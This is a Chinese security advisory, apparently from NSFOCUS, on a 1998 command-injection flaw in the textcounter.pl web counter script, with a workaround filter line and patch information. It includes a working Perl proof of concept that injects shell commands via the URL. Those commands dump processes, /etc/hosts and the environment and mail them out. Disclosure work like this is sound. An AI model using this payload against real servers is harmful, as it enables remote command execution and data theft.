Matt Wright textcounter.pl远程执行命令漏洞
发布日期:1998-06-24
更新日期:1998-06-24
受影响系统:Matt Wright TextCounter 1.2
不受影响系统:Matt Wright TextCounter 1.2.1
描述:
textcounter.pl是一个由Matt Wright编写的基于Web的记数器脚本,使用比较广泛。
某些早期版本的textcounter.pl脚本实现上存在输入验证漏洞,远程攻击者可以利用此漏洞以httpd进程的权限在主机上执行任意系统命令。
问题在于程序脚本没有过滤用户输入中包含的一些特殊字符,远程攻击者可以向$DOCUMENT_URI环境变量注入指定的值,脚本在处理的时候就会以Web守护程序的权限(root或nobody)在主机上执行攻击者指定的任意命令。
<*来源:Doru Petrescu (
pdoru@kappa.ro)
链接:
http://online.securityfocus.com/archive/1/9609
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
Doru Petrescu (
pdoru@kappa.ro)提供了如下测试代码:
-- cut here --
#!/usr/bin/perl
$URL='
http://dtp.kappa.ro/a/test.shtml'; # please _DO_ _modify_ this
$EMAIL='
pdoru@pop3.kappa.ro,root'; # please _DO_ _modify_ this
if ($ARGV[0]) {
$CMD=$ARGV[0];
}else{
$CMD="(ps ax;cd ..;cd ..;cd ..;cd etc;cat hosts;set)\|mail ${EMAIL} -sanothere_one";
}
$text="${URL}/;IFS=\8;${CMD};echo|";
$text =~ s/ /\$\{IFS\}/g;
#print "$text\n";
system({"wget"} "wget", $text, "-O/dev/null");
system({"wget"} "wget", $text, "-O/dev/null");
#system({"lynx"} "lynx", $text);
#system({"lynx"} "lynx", $text); # if you don't have "wget"
# you can try with "Lynx"
建议:
临时解决方法:
如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:
如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:
* 编辑textcounter.pl脚本,加入过滤代码。
$count_page = "$ENV{'DOCUMENT_URI'}"; # 原来文件中的第91行
$count_page =~ s/([^a-z0-9])/sprintf("%%%02X",$1)/ge; # 插入此行
厂商补丁:
Matt Wright
-----------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
Matt Wright TextCounter 1.2:
Matt Wright Upgrade TextCounter 1.2.1
浏览次数:18515
严重程度:0(网友投票)